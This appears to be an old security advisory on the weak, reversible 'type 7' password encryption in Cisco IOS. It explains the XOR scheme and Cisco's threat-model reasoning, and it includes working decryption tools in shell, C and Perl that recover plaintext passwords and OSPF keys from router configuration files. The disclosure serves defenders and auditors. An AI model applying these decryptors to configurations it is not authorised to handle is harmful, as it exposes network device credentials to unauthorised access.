|
Vulnerability Encryption of passwords Affected Cisco Description When "service password-encryption" is configured into a cisco router and the configuration subsequently viewed, the passwords are no longer printed as plaintext but as strings of randomish-looking garbage. Analysis of several samples reveals the scrambling algorithm to be trivially weak. Passwords can be up to eleven mixed-case characters. In the "encrypted" representation, the first two bytes of the long string are a random decimal offset between 0 and 15 into a magic block of characters, and the remaining bytes are ascii-hex representations of the password bytes xored against the character-block bytes from the given offset on down. The character block is "dsfd;kfoA,.iyewrkldJKDHSUB", which is enough for a maximum-length password at the maximum offset. Another character block consisting of "sgvca69834ncxv9873254k;fg87" is located after the first one in the IOS image, which may be relevant to something else and is simply mentioned here for posterity. It is also interesting to note that the strings "%02d" and "%02x" occur immediately afterward, which in light of the above is another clue. For those who want to save the time here's what cisco is doing in words of .mudge. Assume the following: Password 7 08204E The encrypted string is 08204E. It must be an even length of digits and the first two digits are used as a base 10 index into the XOR string. The length of the plaintext password is strlen(enc_pw) -2 / 2. In this case 2 chars. 08 is the index into the xor string. 2 is multiplied by 16 (or left shifted 4 times) then the next digit (0) is added to it. [ == 32] 32 XOR xorstring[08] = 'a' Move to the next two digits and repeat - 4 * 16 = 64 64 + 14 (E) = 78 increment the index into the xor string 78 XOR xorstring[08] = 'b' In a couple of days you should be able to download a PalmPilot version of this and a FORTH interpretation with instructions to put it into your OpenBoot prom on SPARCs from the l0pht. John Bashinski from CISCO posted more information. A non-Cisco source has recently released a new program to decrypt user passwords (and other passwords) in Cisco configuration files. The program will not decrypt passwords set with the "enable secret" command. User passwords and most other passwords (*not* enable secrets) in Cisco IOS configuration files are encrypted using a scheme that's very weak by modern cryptographic standards. Although Cisco does not distribute a decryption program, at least two different decryption programs for Cisco IOS passwords are available to the public on the Internet. It is expected any amateur cryptographer to be able to create a new program with no more than a few hours' work. The scheme used by IOS for user passwords was never intended to resist a determined, intelligent attack; it was designed to avoid casual "over-the-shoulder" password theft. The threat model was someone reading a password from an administrator's screen. The scheme was never supposed to protect against someone conducting a determined analysis of the configuration file. Enable secrets are hashed using the MD5 algorithm. As far as anyone at Cisco knows, it is impossible to recover an enable secret based on the contents of a configuration file (other than by obvious dictionary attacks). Note that this applies only to passwords set with "enable secret", *not* to passwords set with "enable password". Indeed, the strength of the encryption used is the only significant difference between the two commands. Almost all passwords and other authentication strings in Cisco IOS configuration files are encrypted using the weak, reversible scheme used for user passwords. To determine which scheme has been used to encrypt a specific password, check the digit preceding the encrypted string in the configuration file. If that digit is a 7, the password has been encrypted using the weak algorithm. If the digit is a 5, the password has been hashed using the stronger MD5 algorithm. For example, in the configuration command enable secret 5 $1$iUjJ$cDZ03KKGh7mHfX2RSbDqP. the enable secret has been hashed with MD5, whereas in the command username jbash password 7 07362E590E1B1C041B1E124C0A2F2E206832752E1A01134D the password has been encrypted using the weak reversible algorithm. AcidGum posted following program that decrypts cisco "encrypted" passwords. Feed this confg files as stdin. Anything that looks like a "type 7 encrypted" string gets decrypted. This should really be a C program, but is presented as a script. The shell script that was posted was originally written by Hobbit: #! /bin/sh while read xx ; do case "$xx" in *d\ 7\ [01]??* ) ;; *) continue ;; esac DEC=`echo "$xx" | sed -e 's/.* //' -e 's/\(^..\).*/\1/'` DP1=`expr $DEC + 1` HEX=`echo "$xx" | sed -e 's/.* //' -e 's/^..\(..*\)/\1/'` echo 'dsfd;kfoA,.iyewrkldJKDHSUB' | cut -c "${DP1}-30" > /tmp/cis$$.pad echo '#' > /tmp/cis$$.in for xx in 1-2 3-4 5-6 7-8 9-10 11-12 13-14 15-16 17-18 19-20 21-22 ; do echo "${HEX}" | cut -c $xx | sed -e '/^$/q' -e 's/^/0x/' >> /tmp/cis$$.in done echo -n "${DEC}${HEX}: " data -g < /tmp/cis$$.in | xor /tmp/cis$$.pad echo '' done rm -f /tmp/cis$$.pad /tmp/cis$$.in exit 0 Following is C code that originally came from SPHiXe: #include <stdio.h> #include <ctype.h> char xlat[] = { 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 }; char pw_str1[] = " password 7 "; char pw_str2[] = "enable password 7 "; char pw_str3[] = "ip ftp password 7 "; char pw_str4[] = " ip ospf message-digest-key 1 md5 7 "; char *pname; cdecrypt(enc_pw, dec_pw) char *enc_pw; char *dec_pw; { unsigned int seed, i, val = 0; if(strlen(enc_pw) & 1) return(-1); seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0'; if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1])) return(-1); for (i = 2 ; i <= strlen(enc_pw); i++) { if(i !=2 && !(i & 1)) { dec_pw[i / 2 - 2] = val ^ xlat[seed++]; val = 0; } val *= 16; if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) { val += enc_pw[i] - '0'; continue; } if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') { val += enc_pw[i] - 'A' + 10; continue; } if(strlen(enc_pw) != i) return(-1); } dec_pw[++i / 2] = 0; return(0); } usage() { fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname); fprintf(stdout, " %s <router config file> <output file>\n", pname); return(0); } main(argc,argv) int argc; char **argv; { FILE *in = stdin, *out = stdout; char line[257]; char passwd[65]; unsigned int i, pw_pos; pname = argv[0]; if(argc > 1) { if(argc > 3) { usage(); exit(1); } if(argv[1][0] == '-') { switch(argv[1][1]) { case 'h': usage(); break; case 'p': bzero(passwd, sizeof(passwd)); if(cdecrypt(argv[2], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } fprintf(stdout, "password: %s\n", passwd); break; default: fprintf(stderr, "%s: unknow option.", pname); } return(0); } if((in = fopen(argv[1], "rt")) == NULL) exit(1); if(argc > 2) if((out = fopen(argv[2], "wt")) == NULL) exit(1); } while(1) { for(i = 0; i < 256; i++) { if((line[i] = fgetc(in)) == EOF) { if(i) break; fclose(in); fclose(out); return(0); } if(line[i] == '\r') i--; if(line[i] == '\n') break; } pw_pos = 0; line[i] = 0; if(!strncmp(line, pw_str1, strlen(pw_str1))) pw_pos = strlen(pw_str1); if(!strncmp(line, pw_str2, strlen(pw_str2))) pw_pos = strlen(pw_str2); if(!strncmp(line, pw_str3, strlen(pw_str3))) pw_pos = strlen(pw_str3); if(!strncmp(line, pw_str4, strlen(pw_str4))) pw_pos = strlen(pw_str4); if(!pw_pos) { fprintf(stdout, "%s\n", line); continue; } bzero(passwd, sizeof(passwd)); if(cdecrypt(&line[pw_pos], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } else { if(pw_pos == strlen(pw_str1)) fprintf(out, "%s", pw_str1); else if (pw_pos == strlen(pw_str2)) fprintf(out, "%s", pw_str2); else if (pw_pos == strlen(pw_str3)) fprintf(out, "%s", pw_str3); else if (pw_pos == strlen(pw_str4)) fprintf(out, "%s", pw_str4); fprintf(out, "%s\n", passwd); } } } And following is a perl script: #!/usr/bin/perl -w # $Id: ios7decrypt.pl,v 1.3 1998/01/11 21:31:12 mesrik Exp $ # # Credits for orginal code and description hobbit@avian.org, # SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM> # for Cisco IOS password encryption facts. # # Use for any malice or illegal purposes strictly prohibited! # @xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 ); while (<>) { if (/(password|md5)\s+7\s+([\da-f]+)/io) { if (!(length($2) & 1)) { $ep = $2; $dp = ""; ($s, $e) = ($2 =~ /^(..)(.+)/o); for ($i = 0; $i < length($e); $i+=2) { $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++]; } s/7\s+$ep/$dp/; } } print; } # eof Solution No solution. This is how things stand. After all, if you can't keep eye on your router, someone else will... Cisco has no immediate plans to support a stronger encryption algorithm for IOS user passwords. It is not, in the general case, possible to switch user passwords over to the MD5-based algorithm used for enable secrets, because MD5 is a one-way hash, and the password can't be recovered from the encrypted data at all. In order to support certain authentication protocols (notably CHAP), the system needs access to the clear text of user passwords, and therefore must store them using a reversible algorithm. Key management issues would make it a nontrivial task to switch over to a stronger reversible algorithm, such as DES. Although it would be easy to modify IOS to use DES to encrypt passwords, there would be no security advantage in doing so if all IOS systems used the same DES key. If different keys were used by different systems, an administrative burden would be introduced for all IOS network administrators, and portability of configuration files between systems would be damaged.